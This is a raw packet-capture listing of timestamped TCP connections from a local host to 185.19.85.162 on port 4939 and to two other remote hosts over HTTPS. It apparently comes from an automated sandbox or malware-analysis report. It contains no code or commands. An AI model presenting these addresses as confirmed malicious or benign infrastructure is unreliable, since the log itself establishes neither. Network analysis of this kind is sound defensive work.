                                                                                                                          May 12, 2022 14:18:02.225769043 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.226135015 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.238531113 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.238899946 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.239134073 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.239518881 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.239589930 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.239757061 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.239856958 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.239877939 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.240044117 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.240108013 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.240228891 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.240420103 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.242580891 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.291666985 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.301371098 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.315890074 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.315928936 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.316116095 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.316175938 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.316196918 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.316360950 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.316390991 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.324711084 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.324855089 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.324920893 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.335285902 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.335577011 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.335779905 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.335992098 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.336236954 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.336236954 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.336364031 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.336620092 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.337024927 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.337210894 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.337349892 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.353055954 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.353176117 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.353509903 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.354249954 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.354358912 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.354487896 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.354656935 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.355793953 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.355933905 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.356061935 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.356090069 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.356430054 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.357589006 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.357702017 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.357783079 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.358077049 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.358194113 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.358314037 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.358407021 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.358638048 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.358795881 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.358871937 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.358922005 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.359023094 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.359066010 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.363986015 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364089012 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364212036 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364242077 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.364358902 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.364386082 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364484072 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364590883 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364674091 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.364737988 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364871979 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.364876032 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.364972115 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.365142107 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.365370989 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.365639925 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.365799904 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.366022110 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.373377085 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.373447895 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.373614073 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.373622894 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:02.373671055 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.373950958 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:02.381514072 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:09.665066957 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:09.741852999 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:09.821432114 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:09.821611881 CEST497654939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:09.899364948 CEST493949765185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:16.332571983 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:16.333451986 CEST497614939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:16.539968967 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:36.556655884 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:36.557805061 CEST497614939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:36.763731956 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:56.762250900 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:18:56.763984919 CEST497614939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:18:56.965137959 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:19:05.929102898 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:05.929177999 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:05.929389000 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:05.982528925 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:05.982544899 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.050719023 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.050988913 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.051019907 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.060503960 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.060543060 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.061162949 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.061291933 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.064941883 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.106549978 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.428399086 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.428575039 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.428689003 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.428848028 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.477788925 CEST49774443192.168.11.2013.107.43.13
                                                                                                                          May 12, 2022 14:19:06.477802992 CEST4434977413.107.43.13192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.792370081 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.792469025 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.792773962 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.793580055 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.793643951 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.861434937 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.861624956 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.862950087 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.863198042 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.871978045 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.872011900 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.872565031 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:06.872787952 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.873164892 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:06.914551973 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.127361059 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.127383947 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.127459049 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.127748966 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.127759933 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.127763987 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.127768040 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.127769947 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.127940893 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.128194094 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.128201008 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.128202915 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.128206015 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.145519972 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.145770073 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.145776987 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.145936012 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.145945072 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.145951986 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.146214962 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.146236897 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.146310091 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.146362066 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.146368027 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.146589994 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.146595001 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.146596909 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.146599054 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.146600962 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.146831036 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.256443024 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.256628036 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.256661892 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.256691933 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.256892920 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.256975889 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.257154942 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.257181883 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.257385015 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.257424116 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.257571936 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.257590055 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.257627010 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.257735968 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.257956028 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.257989883 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.258130074 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.258245945 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.258394003 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.258419037 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.258444071 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.258625984 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.258657932 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.258786917 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.258915901 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.259058952 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259079933 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259105921 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259119034 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259284973 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259331942 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259356976 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.259488106 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259588003 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.259725094 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259746075 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259773016 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259783983 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259793997 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.259815931 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.259953976 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.260040045 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.260250092 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.260262012 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.260478020 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.278855085 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.279119015 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.279158115 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.279177904 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.279491901 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.385071993 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.385263920 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.385354996 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.385390997 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.385586977 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.385792017 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.385972977 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.386049986 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.386086941 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.386327982 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.386565924 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.386718035 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.386744976 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.386759043 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.386960030 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.386996031 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.387140036 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.387257099 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.387403965 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.387435913 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.387453079 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.387465954 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.387487888 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.387506962 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.387536049 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.387768030 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.521401882 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.521497965 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.521769047 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.521805048 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.521832943 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.521843910 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.521857023 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.522135973 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.522393942 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.522520065 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.522562981 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.522589922 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.522789955 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.522816896 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.522825003 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.523032904 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.523276091 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.523324966 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.523488045 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.523508072 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.523524046 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.523673058 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.523859024 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524049997 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.524097919 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.524224043 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524243116 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524250984 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524316072 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.524409056 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524436951 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.524444103 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524529934 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.524599075 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524620056 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524626970 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524633884 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524642944 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524653912 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524678946 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524863958 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.524905920 CEST4434977513.107.43.12192.168.11.20
                                                                                                                          May 12, 2022 14:19:07.524913073 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:07.525017977 CEST49775443192.168.11.2013.107.43.12
                                                                                                                          May 12, 2022 14:19:16.901119947 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:19:16.902297974 CEST497614939192.168.11.20185.19.85.162
                                                                                                                          May 12, 2022 14:19:17.133924007 CEST493949761185.19.85.162192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.591931105 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.591953039 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.592262983 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.598380089 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.598429918 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.659661055 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.659949064 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.661354065 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.661372900 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.662077904 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.664839029 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.682657003 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.683214903 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.726548910 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.987071991 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.987277985 CEST44349778149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:26.987442017 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:26.987766027 CEST49778443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:31.918179989 CEST49779443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:31.918203115 CEST44349779149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:31.918422937 CEST49779443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:31.918690920 CEST49779443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:31.918704033 CEST44349779149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:31.958090067 CEST44349779149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:31.959788084 CEST49779443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:32.002089977 CEST44349779149.154.167.220192.168.11.20
                                                                                                                          May 12, 2022 14:19:32.002654076 CEST49779443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:32.002727032 CEST49779443192.168.11.20149.154.167.220
                                                                                                                          May 12, 2022 14:19:32.002827883 CEST44349779149.154.167.220192.168.11.20
